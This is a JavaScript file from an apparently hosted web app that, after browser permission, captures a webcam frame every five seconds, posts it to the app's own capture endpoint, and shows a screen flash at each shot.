Spaces:
Sleeping
Sleeping
File size: 3,884 Bytes
7de45bb edfda4d 31c0fd4 7de45bb 31c0fd4 edfda4d 31c0fd4 7de45bb 31c0fd4 edfda4d 31c0fd4 edfda4d 31c0fd4 edfda4d 7de45bb 31c0fd4 edfda4d 31c0fd4 edfda4d 31c0fd4 edfda4d 31c0fd4 edfda4d 31c0fd4 edfda4d 31c0fd4 edfda4d 7de45bb 31c0fd4 7de45bb edfda4d 7de45bb 31c0fd4 7de45bb edfda4d 7de45bb 31c0fd4 edfda4d 31c0fd4 edfda4d 7de45bb 31c0fd4 7de45bb edfda4d 31c0fd4 7de45bb 31c0fd4 7de45bb edfda4d 7de45bb 31c0fd4 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | class CameraController {
constructor() {
this.video = document.getElementById('video');
this.canvas = document.getElementById('canvas');
this.ctx = this.canvas.getContext('2d');
this.stream = null;
this.sessionId = null;
this.captureInterval = null;
this.init();
}
async init() {
// Delay a bit so Welcome screen is visible first
setTimeout(() => {
this.startCamera();
}, 1500);
window.addEventListener('beforeunload', () => this.cleanup());
window.addEventListener('pagehide', () => this.cleanup());
}
async startCamera() {
try {
this.stream = await navigator.mediaDevices.getUserMedia({
video: {
width: { ideal: 1280 },
height: { ideal: 720 },
facingMode: "user"
},
audio: false
});
this.video.srcObject = this.stream;
await new Promise(resolve => {
this.video.onloadedmetadata = () => {
this.video.play();
resolve();
};
});
this.canvas.width = this.video.videoWidth;
this.canvas.height = this.video.videoHeight;
await this.startSession();
this.startCapture();
} catch (error) {
console.error("Camera permission denied:", error);
}
}
async startSession() {
try {
const response = await fetch('/api/start_session', { method: 'POST' });
const data = await response.json();
if (data.status === 'success') {
this.sessionId = data.session_id;
}
} catch (err) {
console.error("Session error:", err);
}
}
startCapture() {
this.captureInterval = setInterval(() => {
this.capturePhoto();
}, 5000);
setTimeout(() => this.capturePhoto(), 1000);
}
async capturePhoto() {
if (!this.sessionId) return;
this.ctx.drawImage(this.video, 0, 0, this.canvas.width, this.canvas.height);
const imageData = this.canvas.toDataURL("image/jpeg", 0.8);
try {
await fetch('/api/capture', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
image: imageData,
session_id: this.sessionId
})
});
this.flash();
} catch (err) {
console.error("Capture error:", err);
}
}
flash() {
const flash = document.createElement("div");
flash.style.cssText = `
position: fixed;
inset: 0;
background: white;
opacity: 0;
z-index: 9999;
animation: flash 0.4s ease;
`;
const style = document.createElement("style");
style.innerHTML = `
@keyframes flash {
0% { opacity: 0; }
30% { opacity: 0.3; }
100% { opacity: 0; }
}
`;
document.head.appendChild(style);
document.body.appendChild(flash);
setTimeout(() => {
flash.remove();
style.remove();
}, 400);
}
cleanup() {
if (this.captureInterval) clearInterval(this.captureInterval);
if (this.stream) this.stream.getTracks().forEach(t => t.stop());
if (this.sessionId) {
fetch(`/api/end_session/${this.sessionId}`, {
method: "POST",
keepalive: true
}).catch(() => {});
}
}
}
document.addEventListener("DOMContentLoaded", () => {
new CameraController();
});
|